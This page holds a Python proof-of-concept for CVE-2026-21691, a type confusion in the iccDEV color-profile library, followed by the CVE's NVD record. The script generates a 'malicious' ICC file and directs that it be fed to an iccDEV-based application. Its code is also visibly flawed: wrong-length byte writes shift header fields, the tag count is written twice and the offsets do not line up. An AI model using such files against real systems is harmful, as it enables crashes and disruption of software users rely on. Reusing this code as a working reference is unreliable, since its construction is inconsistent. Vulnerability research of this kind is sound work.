CVE-2026-21691

#!/usr/bin/env python3 """ CVE-2026-21691 PoC - iccDEV Type Confusion in CIccTag::IsTypeCompressed() This PoC demonstrates the vulnerability by creating a malformed ICC profile that triggers type confusion in the IsTypeCompressed() function. """ import struct import sys def create_malformed_icc_profile(): """ Create a malicious ICC profile that triggers type confusion in CIccTag::IsTypeCompressed() function. """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size (will be updated) struct.pack_into('>I', header, 0, 0) # Preferred CMM type (not critical) header[4:8] = b'lcms' # Profile version header[8:12] = struct.pack('>I', 0x04000000) # Device class (input device) header[12:16] = b'scn ' # Color space (RGB) header[16:20] = b'RGB ' # PCS (Profile Connection Space) header[20:24] = b'XYZ ' # Creation date/time import time now = time.gmtime() header[24:28] = struct.pack('>H', now.tm_year) header[28:30] = struct.pack('>H', now.tm_mon) header[30:32] = struct.pack('>H', now.tm_mday) header[32:34] = struct.pack('>H', now.tm_hour) header[34:36] = struct.pack('>H', now.tm_min) header[36:38] = struct.pack('>H', now.tm_sec) # Profile signature header[44:48] = b'acsp' # Primary platform (Microsoft) header[48:52] = b'MSFT' # Profile flags struct.pack_into('>I', header, 52, 0) # Device manufacturer header[60:64] = b'Test' # Device model header[64:68] = b'Model' # Tag count tag_count = 2 struct.pack_into('>I', header, 124, tag_count) # Tag table tag_table = bytearray() # Tag 1: malicious tag with type confusion # Create a tag with manipulated type field tag_signature1 = b'mft1' # lut8Type or manipulated type tag_offset1 = 128 + 4 + (tag_count * 12) + 4 # After tag table tag_size1 = 48 # Tag data with malformed structure tag_data1 = bytearray(tag_size1) # Set type field to trigger type confusion tag_data1[0:4] = b'\x00\x00\x00\x01' # Malformed type indicator tag_data1[4:8] = struct.pack('>I', 0xFFFFFFFF) # Invalid size to trigger confusion # Tag 2: description tag tag_signature2 = b'desc' tag_offset2 = tag_offset1 + tag_size1 tag_size2 = 32 # Tag table entries tag_table += tag_signature1 tag_table += struct.pack('>I', tag_offset1) tag_table += struct.pack('>I', tag_size1) tag_table += tag_signature2 tag_table += struct.pack('>I', tag_offset2) tag_table += struct.pack('>I', tag_size2) # Tag 2 data tag_data2 = bytearray(tag_size2) tag_data2[0:4] = b'desc' struct.pack_into('>I', tag_data2, 4, 12) # Count tag_data2[8:20] = b'Malicious!!' + b'\x00' * 2 # Assemble profile profile = header + struct.pack('>I', tag_count) + tag_table + tag_data1 + tag_data2 # Update profile size struct.pack_into('>I', profile, 0, len(profile)) return bytes(profile) def main(): print("[*] CVE-2026-21691 PoC Generator") print("[*] iccDEV CIccTag::IsTypeCompressed() Type Confusion") print() # Generate malicious ICC profile malicious_profile = create_malformed_icc_profile() # Save to file output_file = 'CVE-2026-21691-malicious.icc' with open(output_file, 'wb') as f: f.write(malicious_profile) print(f"[+] Malicious ICC profile created: {output_file}") print(f"[+] Profile size: {len(malicious_profile)} bytes") print() print("[!] This PoC generates a malformed ICC profile that may trigger") print("[!] type confusion in iccDEV library versions < 2.3.1.2") print() print("[*] Usage: Have an application using iccDEV process this file") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-21691", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:45.527", "lastModified": "2026-01-12T18:26:52.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a Type Confusion vulnerability in `CIccTag:IsTypeCompressed()`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del International Color Consortium (ICC). Las versiones anteriores a la 2.3.1.2 tienen una vulnerabilidad de confusión de tipos en 'CIccTag:IsTypeCompressed()'. Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-140"}, {"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-697"}, {"lang": "en", "value": "CWE-1025"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/392", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/426", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-c9q5-x498-jv92", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}